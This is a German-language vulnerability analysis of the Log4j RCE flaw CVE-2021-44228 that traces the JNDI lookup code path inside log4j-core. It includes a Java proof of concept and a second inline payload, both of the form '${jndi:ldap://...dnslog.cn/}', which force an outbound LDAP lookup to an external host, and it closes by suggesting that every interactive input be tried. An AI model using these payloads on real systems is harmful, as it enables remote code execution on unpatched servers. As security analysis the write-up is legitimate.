
Detaillierte Analyse und Proof-of-Concept für CVE-2021-44228 (Log4j RCE), einschließlich Einrichtung der Umgebung, Schwachstellenanalyse, JNDI-Injektionsmechanismus und Reproduktionsschritte.
Jdk7u21 (beliebige Version möglich)
Betroffene Versionen: Apache Log4j 2.x <= 2.14.1
Bekannte betroffene Anwendungen und Komponenten:
Apache Solr
Apache Flink
Apache Druid
spring-boot-starter-log4j2
log4j-Abhängigkeit
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
Betrachtet man den Payload, suchen wir unweigerlich nach log4j Lookup oder log4j JNDI.
https://logging.apache.org/log4j/2.x/manual/lookups.html【Englische Dokumentation】
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【Chinesische Dokumentation】

Wir sehen die Verwendungsweise. Es ist leicht erkennbar, dass hier JNDI unterstützt wird und JNDI wiederum andere Protokolle unterstützt, die umgewandelt werden. Das erinnert unweigerlich an LDAP. Lassen Sie uns debuggen und einen Blick darauf werfen. Da ich letzte Nacht bis halb fünf debuggt habe und morgens noch Unterricht hatte, bin ich schlafen gegangen und habe nur Screenshots des Analyseprozesses gespeichert.

Ohne weitere Umschweife, schauen wir weiter unten. Da ich gestern Abend mehrfach debuggt habe, springe ich direkt zur kritischen Stelle.

Direkt zum kritischen Punkt: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

Wir folgen dieser Methode. In der nativen Java-Umgebung ist diese Methode zum Formatieren von Zeichenketten gedacht, ob das hier auch der Fall ist?
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Hier wird durch getMessage() unser Payload abgerufen. Warum?


Darauf will ich nicht näher eingehen. Wir fahren fort.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
Hier ist zu sehen, dass geprüft wird, ob es mit ${ beginnt. Wenn ja, wird es ausgeführt und löst die Schwachstelle aus.



Die Dokumentation zu dieser Methode finden Sie hier: https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





Eigentlich reicht schon die Dokumentation. Hier wird der Variablen-Resolver abgerufen.



Anschließend wird org.apache.logging.log4j.core.lookup.Interpolator#lookup betreten.

Das entsprechende Präfix wird abgerufen und das entsprechende JNDI-Klassenobjekt ausgewählt – JndiLookup.


Damit wird eine JNDI-Injektion durchgeführt, um eine entfernte Klassenladung zu erreichen.


Laut offizieller Dokumentation wird durch Formatierung ${jndi:ldap://uci5xf.dnslog.cn/test} durch die tatsächlichen Daten ersetzt.

Referenzartikel: https://blog.csdn.net/lqzkcx3/article/details/82050375 log4j verwendet wiederum Lookup, um ein Protokoll abzurufen. Es wird festgestellt, dass das Protokoll JNDI, data, sys usw. ist. Dabei werden sie in einer Map gespeichert. Der entsprechende Schlüssel wird erkannt, der entsprechende Lookup abgerufen und ausgeführt. Dadurch entsteht eine standardmäßige JNDI-Injektions-Schwachstelle.
Vom Einstiegspunkt aus betrachtet, ist es nicht schwer zu erkennen, dass es ausgeführt werden kann, solange es protokolliert wird (einige nicht). Da dies spontan geschrieben wurde, gehe ich nicht tiefer darauf ein.
Die Methode, es zu attackieren: alle Orte mit Interaktion durchgehen, gaga.